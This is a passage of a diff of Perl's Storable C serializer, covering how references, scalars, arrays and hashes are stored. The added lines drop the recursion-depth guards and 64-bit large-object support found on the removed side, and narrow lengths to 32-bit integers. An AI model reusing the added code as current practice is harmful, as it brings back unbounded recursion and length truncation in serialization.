TRACEME(("ref (0x%" UVxf ") is overloaded", PTR2UV(sv))); - PUTMARK(is_weak ? SX_WEAKOVERLOAD : SX_OVERLOAD); - } else - PUTMARK(is_weak ? SX_WEAKREF : SX_REF); - } else - PUTMARK(is_weak ? SX_WEAKREF : SX_REF); - - TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth, - PTR2UV(cxt->recur_sv))); - if (cxt->entry && cxt->recur_sv == sv) { - if (RECURSION_TOO_DEEP()) { -#if PERL_VERSION < 15 - cleanup_recursive_data(aTHX_ (SV*)sv); -#endif - CROAK((MAX_DEPTH_ERROR)); - } - } - cxt->recur_sv = sv; - - retval = store(aTHX_ cxt, sv); - if (cxt->entry && cxt->recur_sv == sv && cxt->recur_depth > 0) { - TRACEME(("recur_depth --%" IVdf, cxt->recur_depth)); - --cxt->recur_depth; - } - return retval; + if (SvWEAKREF(sv)) + is_weak = 1; + TRACEME(("ref (0x%" UVxf ") is%s weak", PTR2UV(sv), is_weak + ? "" + : "n't")); +#endif + sv = SvRV(sv); + + if (SvOBJECT(sv)) { + HV *stash = (HV *) SvSTASH(sv); + if (stash && Gv_AMG(stash)) { + TRACEME(("ref (0x%" UVxf ") is overloaded", PTR2UV(sv))); + PUTMARK(is_weak ? SX_WEAKOVERLOAD : SX_OVERLOAD); + } else + PUTMARK(is_weak ? SX_WEAKREF : SX_REF); + } else + PUTMARK(is_weak ? SX_WEAKREF : SX_REF); + + return store(aTHX_ cxt, sv); } /* @@ -2395,230 +2047,220 @@ static int store_ref(pTHX_ stcxt_t *cxt, SV *sv) * * If integer or double, the layout is SX_INTEGER or SX_DOUBLE . * Small integers (within [-127, +127]) are stored as SX_BYTE . - * - * For huge strings use SX_LOBJECT SX_type SX_U64 */ static int store_scalar(pTHX_ stcxt_t *cxt, SV *sv) { - IV iv; - char *pv; - STRLEN len; - U32 flags = SvFLAGS(sv); /* "cc -O" may put it in register */ - - TRACEME(("store_scalar (0x%" UVxf ")", PTR2UV(sv))); - - /* - * For efficiency, break the SV encapsulation by peaking at the flags - * directly without using the Perl macros to avoid dereferencing - * sv->sv_flags each time we wish to check the flags. - */ - - if (!(flags & SVf_OK)) { /* !SvOK(sv) */ - if (sv == &PL_sv_undef) { - TRACEME(("immortal undef")); - PUTMARK(SX_SV_UNDEF); - } else { - TRACEME(("undef at 0x%" UVxf, PTR2UV(sv))); - PUTMARK(SX_UNDEF); - } - return 0; - } + IV iv; + char *pv; + STRLEN len; + U32 flags = SvFLAGS(sv); /* "cc -O" may put it in register */ + + TRACEME(("store_scalar (0x%" UVxf ")", PTR2UV(sv))); + + /* + * For efficiency, break the SV encapsulation by peaking at the flags + * directly without using the Perl macros to avoid dereferencing + * sv->sv_flags each time we wish to check the flags. + */ + + if (!(flags & SVf_OK)) { /* !SvOK(sv) */ + if (sv == &PL_sv_undef) { + TRACEME(("immortal undef")); + PUTMARK(SX_SV_UNDEF); + } else { + TRACEME(("undef at 0x%" UVxf, PTR2UV(sv))); + PUTMARK(SX_UNDEF); + } + return 0; + } - /* - * Always store the string representation of a scalar if it exists. - * Gisle Aas provided me with this test case, better than a long speach: - * - * perl -MDevel::Peek -le '$a="abc"; $a+0; Dump($a)' - * SV = PVNV(0x80c8520) - * REFCNT = 1 - * FLAGS = (NOK,POK,pNOK,pPOK) - * IV = 0 - * NV = 0 - * PV = 0x80c83d0 "abc"\0 - * CUR = 3 - * LEN = 4 - * - * Write SX_SCALAR, length, followed by the actual data. - * - * Otherwise, write an SX_BYTE, SX_INTEGER or an SX_DOUBLE as - * appropriate, followed by the actual (binary) data. A double - * is written as a string if network order, for portability. - * - * NOTE: instead of using SvNOK(sv), we test for SvNOKp(sv). - * The reason is that when the scalar value is tainted, the SvNOK(sv) - * value is false. - * - * The test for a read-only scalar with both POK and NOK set is meant - * to quickly detect &PL_sv_yes and &PL_sv_no without having to pay the - * address comparison for each scalar we store. - */ + /* + * Always store the string representation of a scalar if it exists. + * Gisle Aas provided me with this test case, better than a long speach: + * + * perl -MDevel::Peek -le '$a="abc"; $a+0; Dump($a)' + * SV = PVNV(0x80c8520) + * REFCNT = 1 + * FLAGS = (NOK,POK,pNOK,pPOK) + * IV = 0 + * NV = 0 + * PV = 0x80c83d0 "abc"\0 + * CUR = 3 + * LEN = 4 + * + * Write SX_SCALAR, length, followed by the actual data. + * + * Otherwise, write an SX_BYTE, SX_INTEGER or an SX_DOUBLE as + * appropriate, followed by the actual (binary) data. A double + * is written as a string if network order, for portability. + * + * NOTE: instead of using SvNOK(sv), we test for SvNOKp(sv). + * The reason is that when the scalar value is tainted, the SvNOK(sv) + * value is false. + * + * The test for a read-only scalar with both POK and NOK set is meant + * to quickly detect &PL_sv_yes and &PL_sv_no without having to pay the + * address comparison for each scalar we store. + */ #define SV_MAYBE_IMMORTAL (SVf_READONLY|SVf_POK|SVf_NOK) - if ((flags & SV_MAYBE_IMMORTAL) == SV_MAYBE_IMMORTAL) { - if (sv == &PL_sv_yes) { - TRACEME(("immortal yes")); - PUTMARK(SX_SV_YES); - } else if (sv == &PL_sv_no) { - TRACEME(("immortal no")); - PUTMARK(SX_SV_NO); - } else { - pv = SvPV(sv, len); /* We know it's SvPOK */ - goto string; /* Share code below */ - } - } else if (flags & SVf_POK) { - /* public string - go direct to string read. */ - goto string_readlen; - } else if ( + if ((flags & SV_MAYBE_IMMORTAL) == SV_MAYBE_IMMORTAL) { + if (sv == &PL_sv_yes) { + TRACEME(("immortal yes")); + PUTMARK(SX_SV_YES); + } else if (sv == &PL_sv_no) { + TRACEME(("immortal no")); + PUTMARK(SX_SV_NO); + } else { + pv = SvPV(sv, len); /* We know it's SvPOK */ + goto string; /* Share code below */ + } + } else if (flags & SVf_POK) { + /* public string - go direct to string read. */ + goto string_readlen; + } else if ( #if (PATCHLEVEL <= 6) - /* For 5.6 and earlier NV flag trumps IV flag, so only use integer - direct if NV flag is off. */ - (flags & (SVf_NOK | SVf_IOK)) == SVf_IOK + /* For 5.6 and earlier NV flag trumps IV flag, so only use integer + direct if NV flag is off. */ + (flags & (SVf_NOK | SVf_IOK)) == SVf_IOK #else - /* 5.7 rules are that if IV public flag is set, IV value is as - good, if not better, than NV value. */ - flags & SVf_IOK + /* 5.7 rules are that if IV public flag is set, IV value is as + good, if not better, than NV value. */ + flags & SVf_IOK #endif - ) { - iv = SvIV(sv); - /* - * Will come here from below with iv set if double is an integer. - */ - integer: + ) { + iv = SvIV(sv); + /* + * Will come here from below with iv set if double is an integer. + */ + integer: - /* Sorry. This isn't in 5.005_56 (IIRC) or earlier. */ + /* Sorry. This isn't in 5.005_56 (IIRC) or earlier. */ #ifdef SVf_IVisUV - /* Need to do this out here, else 0xFFFFFFFF becomes iv of -1 - * (for example) and that ends up in the optimised small integer - * case. - */ - if ((flags & SVf_IVisUV) && SvUV(sv) > IV_MAX) { - TRACEME(("large unsigned integer as string, value = %" UVuf, - SvUV(sv))); - goto string_readlen; - } + /* Need to do this out here, else 0xFFFFFFFF becomes iv of -1 + * (for example) and that ends up in the optimised small integer + * case. + */ + if ((flags & SVf_IVisUV) && SvUV(sv) > IV_MAX) { + TRACEME(("large unsigned integer as string, value = %" UVuf, + SvUV(sv))); + goto string_readlen; + } #endif - /* - * Optimize small integers into a single byte, otherwise store as - * a real integer (converted into network order if they asked). - */ + /* + * Optimize small integers into a single byte, otherwise store as + * a real integer (converted into network order if they asked). + */ - if (iv >= -128 && iv <= 127) { - unsigned char siv = (unsigned char) (iv + 128); /* [0,255] */ - PUTMARK(SX_BYTE); - PUTMARK(siv); - TRACEME(("small integer stored as %d", (int)siv)); - } else if (cxt->netorder) { + if (iv >= -128 && iv <= 127) { + unsigned char siv = (unsigned char) (iv + 128); /* [0,255] */ + PUTMARK(SX_BYTE); + PUTMARK(siv); + TRACEME(("small integer stored as %d", siv)); + } else if (cxt->netorder) { #ifndef HAS_HTONL - TRACEME(("no htonl, fall back to string for integer")); - goto string_readlen; + TRACEME(("no htonl, fall back to string for integer")); + goto string_readlen; #else - I32 niv; + I32 niv; #if IVSIZE > 4 - if ( + if ( #ifdef SVf_IVisUV - /* Sorry. This isn't in 5.005_56 (IIRC) or earlier. */ - ((flags & SVf_IVisUV) && SvUV(sv) > (UV)0x7FFFFFFF) || -#endif - (iv > (IV)0x7FFFFFFF) || (iv < -(IV)0x80000000)) { - /* Bigger than 32 bits. */ - TRACEME(("large network order integer as string, value = %" IVdf, iv)); - goto string_readlen; - } -#endif - - niv = (I32) htonl((I32) iv); - TRACEME(("using network order")); - PUTMARK(SX_NETINT); - WRITE_I32(niv); + /* Sorry. This isn't in 5.005_56 (IIRC) or earlier. */ + ((flags & SVf_IVisUV) && SvUV(sv) > (UV)0x7FFFFFFF) || +#endif + (iv > (IV)0x7FFFFFFF) || (iv < -(IV)0x80000000)) { + /* Bigger than 32 bits. */ + TRACEME(("large network order integer as string, value = %" + IVdf, iv)); + goto string_readlen; + } #endif - } else { - PUTMARK(SX_INTEGER); - WRITE(&iv, sizeof(iv)); - } - TRACEME(("ok (integer 0x%" UVxf ", value = %" IVdf ")", PTR2UV(sv), iv)); - } else if (flags & SVf_NOK) { - NV_bytes nv; -#ifdef NV_CLEAR - /* if we can't tell if there's padding, clear the whole NV and hope the - compiler leaves the padding alone - */ - Zero(&nv, 1, NV_bytes); + niv = (I32) htonl((I32) iv); + TRACEME(("using network order")); + PUTMARK(SX_NETINT); + WRITE_I32(niv); #endif + } else { + PUTMARK(SX_INTEGER); + WRITE(&iv, sizeof(iv)); + } + + TRACEME(("ok (integer 0x%" UVxf ", value = %" IVdf ")", + PTR2UV(sv), iv)); + } else if (flags & SVf_NOK) { + NV nv; #if (PATCHLEVEL <= 6) - nv.nv = SvNV(sv); - /* - * Watch for number being an integer in disguise. - */ - if (nv.nv == (NV) (iv = I_V(nv.nv))) { - TRACEME(("double %" NVff " is actually integer %" IVdf, nv, iv)); - goto integer; /* Share code above */ - } + nv = SvNV(sv); + /* + * Watch for number being an integer in disguise. + */ + if (nv == (NV) (iv = I_V(nv))) { + TRACEME(("double %" NVff " is actually integer %" IVdf, nv, iv)); + goto integer; /* Share code above */ + } #else - SvIV_please(sv); - if (SvIOK_notUV(sv)) { - iv = SvIV(sv); - goto integer; /* Share code above */ - } - nv.nv = SvNV(sv); + SvIV_please(sv); + if (SvIOK_notUV(sv)) { + iv = SvIV(sv); + goto integer; /* Share code above */ + } + nv = SvNV(sv); #endif - if (cxt->netorder) { - TRACEME(("double %" NVff " stored as string", nv.nv)); - goto string_readlen; /* Share code below */ - } -#if NV_PADDING - Zero(nv.bytes + NVSIZE - NV_PADDING, NV_PADDING, char); -#endif + if (cxt->netorder) { + TRACEME(("double %" NVff " stored as string", nv)); + goto string_readlen; /* Share code below */ + } - PUTMARK(SX_DOUBLE); - WRITE(&nv, sizeof(nv)); + PUTMARK(SX_DOUBLE); + WRITE(&nv, sizeof(nv)); - TRACEME(("ok (double 0x%" UVxf ", value = %" NVff ")", PTR2UV(sv), nv.nv)); + TRACEME(("ok (double 0x%" UVxf ", value = %" NVff ")", + PTR2UV(sv), nv)); - } else if (flags & (SVp_POK | SVp_NOK | SVp_IOK)) { + } else if (flags & (SVp_POK | SVp_NOK | SVp_IOK)) { #ifdef SvVOK - MAGIC *mg; + MAGIC *mg; #endif - UV wlen; /* For 64-bit machines */ + I32 wlen; /* For 64-bit machines */ - string_readlen: - pv = SvPV(sv, len); + string_readlen: + pv = SvPV(sv, len); - /* - * Will come here from above if it was readonly, POK and NOK but - * neither &PL_sv_yes nor &PL_sv_no. - */ - string: + /* + * Will come here from above if it was readonly, POK and NOK but + * neither &PL_sv_yes nor &PL_sv_no. + */ + string: #ifdef SvVOK - if (SvMAGICAL(sv) && (mg = mg_find(sv, 'V'))) { - /* The macro passes this by address, not value, and a lot of - called code assumes that it's 32 bits without checking. */ - const SSize_t len = mg->mg_len; - STORE_PV_LEN((const char *)mg->mg_ptr, - len, SX_VSTRING, SX_LVSTRING); - } + if (SvMAGICAL(sv) && (mg = mg_find(sv, 'V'))) { + /* The macro passes this by address, not value, and a lot of + called code assumes that it's 32 bits without checking. */ + const int len = mg->mg_len; + STORE_PV_LEN((const char *)mg->mg_ptr, + len, SX_VSTRING, SX_LVSTRING); + } #endif - wlen = (Size_t)len; - if (SvUTF8 (sv)) - STORE_UTF8STR(pv, wlen); - else - STORE_SCALAR(pv, wlen); - TRACEME(("ok (scalar 0x%" UVxf " '%s', length = %" UVuf ")", - PTR2UV(sv), len >= 2048 ? "" : SvPVX(sv), - (UV)len)); - } else { - CROAK(("Can't determine type of %s(0x%" UVxf ")", - sv_reftype(sv, FALSE), - PTR2UV(sv))); - } - return 0; /* Ok, no recursion on scalars */ + wlen = (I32) len; /* WLEN via STORE_SCALAR expects I32 */ + if (SvUTF8 (sv)) + STORE_UTF8STR(pv, wlen); + else + STORE_SCALAR(pv, wlen); + TRACEME(("ok (scalar 0x%" UVxf " '%s', length = %" IVdf ")", + PTR2UV(sv), SvPVX(sv), (IV)len)); + } else + CROAK(("Can't determine type of %s(0x%" UVxf ")", + sv_reftype(sv, FALSE), + PTR2UV(sv))); + return 0; /* Ok, no recursion on scalars */ } /* @@ -2631,83 +2273,53 @@ static int store_scalar(pTHX_ stcxt_t *cxt, SV *sv) */ static int store_array(pTHX_ stcxt_t *cxt, AV *av) { - SV **sav; - UV len = av_len(av) + 1; - UV i; - int ret; - - TRACEME(("store_array (0x%" UVxf ")", PTR2UV(av))); - -#ifdef HAS_U64 - if (len > 0x7fffffffu) { - /* - * Large array by emitting SX_LOBJECT 1 U64 data - */ - PUTMARK(SX_LOBJECT); - PUTMARK(SX_ARRAY); - W64LEN(len); - TRACEME(("lobject size = %lu", (unsigned long)len)); - } else -#endif - { - /* - * Normal array by emitting SX_ARRAY, followed by the array length. - */ - I32 l = (I32)len; - PUTMARK(SX_ARRAY); - WLEN(l); - TRACEME(("size = %d", (int)l)); - } - - TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth, - PTR2UV(cxt->recur_sv))); - if (cxt->entry && cxt->recur_sv == (SV*)av) { - if (RECURSION_TOO_DEEP()) { - /* with <= 5.14 it recurses in the cleanup also, needing 2x stack size */ -#if PERL_VERSION < 15 - cleanup_recursive_data(aTHX_ (SV*)av); -#endif - CROAK((MAX_DEPTH_ERROR)); - } - } - cxt->recur_sv = (SV*)av; - - /* - * Now store each item recursively. - */ - - for (i = 0; i < len; i++) { - sav = av_fetch(av, i, 0); - if (!sav) { - TRACEME(("(#%d) nonexistent item", (int)i)); - STORE_SV_UNDEF(); - continue; - } + SV **sav; + I32 len = av_len(av) + 1; + I32 i; + int ret; + + TRACEME(("store_array (0x%" UVxf ")", PTR2UV(av))); + + /* + * Signal array by emitting SX_ARRAY, followed by the array length. + */ + + PUTMARK(SX_ARRAY); + WLEN(len); + TRACEME(("size = %d", len)); + + /* + * Now store each item recursively. + */ + + for (i = 0; i < len; i++) { + sav = av_fetch(av, i, 0); + if (!sav) { + TRACEME(("(#%d) nonexistent item", i)); + STORE_SV_UNDEF(); + continue; + } #if PATCHLEVEL >= 19 - /* In 5.19.3 and up, &PL_sv_undef can actually be stored in - * an array; it no longer represents nonexistent elements. - * Historically, we have used SX_SV_UNDEF in arrays for - * nonexistent elements, so we use SX_SVUNDEF_ELEM for - * &PL_sv_undef itself. */ - if (*sav == &PL_sv_undef) { - TRACEME(("(#%d) undef item", (int)i)); - cxt->tagnum++; - PUTMARK(SX_SVUNDEF_ELEM); - continue; - } -#endif - TRACEME(("(#%d) item", (int)i)); - if ((ret = store(aTHX_ cxt, *sav))) /* Extra () for -Wall */ - return ret; - } + /* In 5.19.3 and up, &PL_sv_undef can actually be stored in + * an array; it no longer represents nonexistent elements. + * Historically, we have used SX_SV_UNDEF in arrays for + * nonexistent elements, so we use SX_SVUNDEF_ELEM for + * &PL_sv_undef itself. */ + if (*sav == &PL_sv_undef) { + TRACEME(("(#%d) undef item", i)); + cxt->tagnum++; + PUTMARK(SX_SVUNDEF_ELEM); + continue; + } +#endif + TRACEME(("(#%d) item", i)); + if ((ret = store(aTHX_ cxt, *sav))) /* Extra () for -Wall, grr... */ + return ret; + } - if (cxt->entry && cxt->recur_sv == (SV*)av && cxt->recur_depth > 0) { - TRACEME(("recur_depth --%" IVdf, cxt->recur_depth)); - --cxt->recur_depth; - } - TRACEME(("ok (array)")); + TRACEME(("ok (array)")); - return 0; + return 0; } @@ -2723,9 +2335,9 @@ static int sortcmp(const void *a, const void *b) { #if defined(USE_ITHREADS) - dTHX; + dTHX; #endif /* USE_ITHREADS */ - return sv_cmp(*(SV * const *) a, *(SV * const *) b); + return sv_cmp(*(SV * const *) a, *(SV * const *) b); } #endif /* PATCHLEVEL <= 6 */ @@ -2754,512 +2366,325 @@ sortcmp(const void *a, const void *b) */ static int store_hash(pTHX_ stcxt_t *cxt, HV *hv) { - dVAR; - UV len = (UV)HvTOTALKEYS(hv); - Size_t i; - int ret = 0; - I32 riter; - HE *eiter; - int flagged_hash = ((SvREADONLY(hv) + dVAR; + I32 len = HvTOTALKEYS(hv); + I32 i; + int ret = 0; + I32 riter; + HE *eiter; + int flagged_hash = ((SvREADONLY(hv) #ifdef HAS_HASH_KEY_FLAGS - || HvHASKFLAGS(hv) + || HvHASKFLAGS(hv) #endif - ) ? 1 : 0); - unsigned char hash_flags = (SvREADONLY(hv) ? SHV_RESTRICTED : 0); - - /* - * Signal hash by emitting SX_HASH, followed by the table length. - * Max number of keys per perl version: - * IV - 5.12 - * STRLEN 5.14 - 5.24 (size_t: U32/U64) - * SSize_t 5.22c - 5.24c (I32/I64) - * U32 5.25c - - */ + ) ? 1 : 0); + unsigned char hash_flags = (SvREADONLY(hv) ? SHV_RESTRICTED : 0); - if (len > 0x7fffffffu) { /* keys > I32_MAX */ - /* - * Large hash: SX_LOBJECT type hashflags? U64 data - * - * Stupid limitation: - * Note that perl5 can store more than 2G keys, but only iterate - * over 2G max. (cperl can) - * We need to manually iterate over it then, unsorted. - * But until perl itself cannot do that, skip that. - */ - TRACEME(("lobject size = %lu", (unsigned long)len)); -#ifdef HAS_U64 - PUTMARK(SX_LOBJECT); if (flagged_hash) { - PUTMARK(SX_FLAG_HASH); - PUTMARK(hash_flags); + /* needs int cast for C++ compilers, doesn't it? */ + TRACEME(("store_hash (0x%" UVxf ") (flags %x)", PTR2UV(hv), + (int) hash_flags)); } else { - PUTMARK(SX_HASH); + TRACEME(("store_hash (0x%" UVxf ")", PTR2UV(hv))); } - W64LEN(len); - return store_lhash(aTHX_ cxt, hv, hash_flags); -#else - /* <5.12 you could store larger hashes, but cannot iterate over them. - So we reject them, it's a bug. */ - CROAK(("Cannot store large objects on a 32bit system")); -#endif - } else { - I32 l = (I32)len; + + /* + * Signal hash by emitting SX_HASH, followed by the table length. + */ + if (flagged_hash) { - TRACEME(("store_hash (0x%" UVxf ") (flags %x)", PTR2UV(hv), - (unsigned int)hash_flags)); PUTMARK(SX_FLAG_HASH); PUTMARK(hash_flags); } else { - TRACEME(("store_hash (0x%" UVxf ")", PTR2UV(hv))); PUTMARK(SX_HASH); } - WLEN(l); - TRACEME(("size = %d, used = %d", (int)l, (int)HvUSEDKEYS(hv))); - } - - TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth, - PTR2UV(cxt->recur_sv))); - if (cxt->entry && cxt->recur_sv == (SV*)hv) { - if (RECURSION_TOO_DEEP_HASH()) { -#if PERL_VERSION < 15 - cleanup_recursive_data(aTHX_ (SV*)hv); -#endif - CROAK((MAX_DEPTH_ERROR)); - } - } - cxt->recur_sv = (SV*)hv; + WLEN(len); + TRACEME(("size = %d", len)); - /* - * Save possible iteration state via each() on that table. - * - * Note that perl as of 5.24 *can* store more than 2G keys, but *not* - * iterate over it. - * Lengths of hash keys are also limited to I32, which is good. - */ + /* + * Save possible iteration state via each() on that table. + */ - riter = HvRITER_get(hv); - eiter = HvEITER_get(hv); - hv_iterinit(hv); + riter = HvRITER_get(hv); + eiter = HvEITER_get(hv); + hv_iterinit(hv); - /* - * Now store each item recursively. - * + /* + * Now store each item recursively. + * * If canonical is defined to some true value then store each * key/value pair in sorted order otherwise the order is random. - * Canonical order is irrelevant when a deep clone operation is performed. - * - * Fetch the value from perl only once per store() operation, and only - * when needed. - */ - - if ( - !(cxt->optype & ST_CLONE) - && (cxt->canonical == 1 - || (cxt->canonical < 0 - && (cxt->canonical = - (SvTRUE(get_sv("Storable::canonical", GV_ADD)) - ? 1 : 0)))) + * Canonical order is irrelevant when a deep clone operation is performed. + * + * Fetch the value from perl only once per store() operation, and only + * when needed. + */ + + if ( + !(cxt->optype & ST_CLONE) && (cxt->canonical == 1 || + (cxt->canonical < 0 && (cxt->canonical = + (SvTRUE(perl_get_sv("Storable::canonical", GV_ADD)) ? 1 : 0)))) ) { - /* - * Storing in order, sorted by key. - * Run through the hash, building up an array of keys in a - * mortal array, sort the array and then run through the - * array. - */ - AV *av = newAV(); - av_extend (av, len); + /* + * Storing in order, sorted by key. + * Run through the hash, building up an array of keys in a + * mortal array, sort the array and then run through the + * array. + */ - TRACEME(("using canonical order")); + AV *av = newAV(); - for (i = 0; i < len; i++) { + /*av_extend (av, len);*/ + + TRACEME(("using canonical order")); + + for (i = 0; i < len; i++) { #ifdef HAS_RESTRICTED_HASHES - HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS); + HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS); #else - HE *he = hv_iternext(hv); + HE *he = hv_iternext(hv); #endif - av_store(av, i, hv_iterkeysv(he)); - } + SV *key; - STORE_HASH_SORT; + if (!he) + CROAK(("Hash %p inconsistent - expected %d keys, %dth is NULL", hv, (int)len, (int)i)); + key = hv_iterkeysv(he); + av_store(av, AvFILLp(av)+1, key); /* av_push(), really */ + } + + STORE_HASH_SORT; - for (i = 0; i < len; i++) { + for (i = 0; i < len; i++) { #ifdef HAS_RESTRICTED_HASHES - int placeholders = (int)HvPLACEHOLDERS_get(hv); -#endif - unsigned char flags = 0; - char *keyval; - STRLEN keylen_tmp; - I32 keylen; - SV *key = av_shift(av); - /* This will fail if key is a placeholder. - Track how many placeholders we have, and error if we - "see" too many. */ - HE *he = hv_fetch_ent(hv, key, 0, 0); - SV *val; - - if (he) { - if (!(val = HeVAL(he))) { - /* Internal error, not I/O error */ - return 1; - } - } else { + int placeholders = (int)HvPLACEHOLDERS_get(hv); +#endif + unsigned char flags = 0; + char *keyval; + STRLEN keylen_tmp; + I32 keylen; + SV *key = av_shift(av); + /* This will fail if key is a placeholder. + Track how many placeholders we have, and error if we + "see" too many. */ + HE *he = hv_fetch_ent(hv, key, 0, 0); + SV *val; + + if (he) { + if (!(val = HeVAL(he))) { + /* Internal error, not I/O error */ + return 1; + } + } else { #ifdef HAS_RESTRICTED_HASHES - /* Should be a placeholder. */ - if (placeholders-- < 0) { - /* This should not happen - number of - retrieves should be identical to - number of placeholders. */ - return 1; - } - /* Value is never needed, and PL_sv_undef is - more space efficient to store. */ - val = &PL_sv_undef; - ASSERT (flags == 0, - ("Flags not 0 but %d", (int)flags)); - flags = SHV_K_PLACEHOLDER; + /* Should be a placeholder. */ + if (placeholders-- < 0) { + /* This should not happen - number of + retrieves should be identical to + number of placeholders. */ + return 1; + } + /* Value is never needed, and PL_sv_undef is + more space efficient to store. */ + val = &PL_sv_undef; + ASSERT (flags == 0, + ("Flags not 0 but %d", flags)); + flags = SHV_K_PLACEHOLDER; #else - return 1; -#endif - } - - /* - * Store value first. - */ - - TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val))); - - if ((ret = store(aTHX_ cxt, val))) /* Extra () for -Wall, grr... */ - goto out; - - /* - * Write key string. - * Keys are written after values to make sure retrieval - * can be optimal in terms of memory usage, where keys are - * read into a fixed unique buffer called kbuf. - * See retrieve_hash() for details. - */ - - /* Implementation of restricted hashes isn't nicely - abstracted: */ - if ((hash_flags & SHV_RESTRICTED) - && SvTRULYREADONLY(val)) { - flags |= SHV_K_LOCKED; - } - - keyval = SvPV(key, keylen_tmp); - keylen = keylen_tmp; + return 1; +#endif + } + + /* + * Store value first. + */ + + TRACEME(("(#%d) value 0x%" UVxf, i, PTR2UV(val))); + + if ((ret = store(aTHX_ cxt, val))) /* Extra () for -Wall, grr... */ + goto out; + + /* + * Write key string. + * Keys are written after values to make sure retrieval + * can be optimal in terms of memory usage, where keys are + * read into a fixed unique buffer called kbuf. + * See retrieve_hash() for details. + */ + + /* Implementation of restricted hashes isn't nicely + abstracted: */ + if ((hash_flags & SHV_RESTRICTED) + && SvTRULYREADONLY(val)) { + flags |= SHV_K_LOCKED; + } + + keyval = SvPV(key, keylen_tmp); + keylen = keylen_tmp; #ifdef HAS_UTF8_HASHES - /* If you build without optimisation on pre 5.6 - then nothing spots that SvUTF8(key) is always 0, - so the block isn't optimised away, at which point - the linker dislikes the reference to - bytes_from_utf8. */ - if (SvUTF8(key)) { - const char *keysave = keyval; - bool is_utf8 = TRUE; - - /* Just casting the &klen to (STRLEN) won't work - well if STRLEN and I32 are of different widths. - --jhi */ - keyval = (char*)bytes_from_utf8((U8*)keyval, - &keylen_tmp, - &is_utf8); - - /* If we were able to downgrade here, then than - means that we have a key which only had chars - 0-255, but was utf8 encoded. */ - - if (keyval != keysave) { - keylen = keylen_tmp; - flags |= SHV_K_WASUTF8; - } else { - /* keylen_tmp can't have changed, so no need - to assign back to keylen. */ - flags |= SHV_K_UTF8; - } - } -#endif - - if (flagged_hash) { - PUTMARK(flags); - TRACEME(("(#%d) key '%s' flags %x %u", (int)i, keyval, flags, *keyval)); - } else { - /* This is a workaround for a bug in 5.8.0 - that causes the HEK_WASUTF8 flag to be - set on an HEK without the hash being - marked as having key flags. We just - cross our fingers and drop the flag. - AMS 20030901 */ - assert (flags == 0 || flags == SHV_K_WASUTF8); - TRACEME(("(#%d) key '%s'", (int)i, keyval)); - } - WLEN(keylen); - if (keylen) - WRITE(keyval, keylen); - if (flags & SHV_K_WASUTF8) - Safefree (keyval); - } - - /* - * Free up the temporary array - */ - - av_undef(av); - sv_free((SV *) av); - - } else { - - /* - * Storing in "random" order (in the order the keys are stored - * within the hash). This is the default and will be faster! - */ - - for (i = 0; i < len; i++) { + /* If you build without optimisation on pre 5.6 + then nothing spots that SvUTF8(key) is always 0, + so the block isn't optimised away, at which point + the linker dislikes the reference to + bytes_from_utf8. */ + if (SvUTF8(key)) { + const char *keysave = keyval; + bool is_utf8 = TRUE; + + /* Just casting the &klen to (STRLEN) won't work + well if STRLEN and I32 are of different widths. + --jhi */ + keyval = (char*)bytes_from_utf8((U8*)keyval, + &keylen_tmp, + &is_utf8); + + /* If we were able to downgrade here, then than + means that we have a key which only had chars + 0-255, but was utf8 encoded. */ + + if (keyval != keysave) { + keylen = keylen_tmp; + flags |= SHV_K_WASUTF8; + } else { + /* keylen_tmp can't have changed, so no need + to assign back to keylen. */ + flags |= SHV_K_UTF8; + } + } +#endif + + if (flagged_hash) { + PUTMARK(flags); + TRACEME(("(#%d) key '%s' flags %x %u", i, keyval, flags, *keyval)); + } else { + /* This is a workaround for a bug in 5.8.0 + that causes the HEK_WASUTF8 flag to be + set on an HEK without the hash being + marked as having key flags. We just + cross our fingers and drop the flag. + AMS 20030901 */ + assert (flags == 0 || flags == SHV_K_WASUTF8); + TRACEME(("(#%d) key '%s'", i, keyval)); + } + WLEN(keylen); + if (keylen) + WRITE(keyval, keylen); + if (flags & SHV_K_WASUTF8) + Safefree (keyval); + } + + /* + * Free up the temporary array + */ + + av_undef(av); + sv_free((SV *) av); + + } else { + + /* + * Storing in "random" order (in the order the keys are stored + * within the hash). This is the default and will be faster! + */ + + for (i = 0; i < len; i++) { + char *key = 0; + I32 len; + unsigned char flags; #ifdef HV_ITERNEXT_WANTPLACEHOLDERS - HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS); + HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS); #else - HE *he = hv_iternext(hv); -#endif - SV *val = (he ? hv_iterval(hv, he) : 0); - - if (val == 0) - return 1; /* Internal error, not I/O error */ - - if ((ret = store_hentry(aTHX_ cxt, hv, i, he, hash_flags))) - goto out; -#if 0 - /* Implementation of restricted hashes isn't nicely - abstracted: */ - flags = (((hash_flags & SHV_RESTRICTED) - && SvTRULYREADONLY(val)) - ? SHV_K_LOCKED : 0); - - if (val == &PL_sv_placeholder) { - flags |= SHV_K_PLACEHOLDER; - val = &PL_sv_undef; - } - - /* - * Store value first. - */ - - TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val))); - - if ((ret = store(aTHX_ cxt, val))) /* Extra () for -Wall */ - goto out; - - - hek = HeKEY_hek(he); - len = HEK_LEN(hek); - if (len == HEf_SVKEY) { - /* This is somewhat sick, but the internal APIs are - * such that XS code could put one of these in in - * a regular hash. - * Maybe we should be capable of storing one if - * found. - */ - key_sv = HeKEY_sv(he); - flags |= SHV_K_ISSV; - } else { - /* Regular string key. */ -#ifdef HAS_HASH_KEY_FLAGS - if (HEK_UTF8(hek)) - flags |= SHV_K_UTF8; - if (HEK_WASUTF8(hek)) - flags |= SHV_K_WASUTF8; -#endif - key = HEK_KEY(hek); - } - /* - * Write key string. - * Keys are written after values to make sure retrieval - * can be optimal in terms of memory usage, where keys are - * read into a fixed unique buffer called kbuf. - * See retrieve_hash() for details. - */ - - if (flagged_hash) { - PUTMARK(flags); - TRACEME(("(#%d) key '%s' flags %x", (int)i, key, flags)); - } else { - /* This is a workaround for a bug in 5.8.0 - that causes the HEK_WASUTF8 flag to be - set on an HEK without the hash being 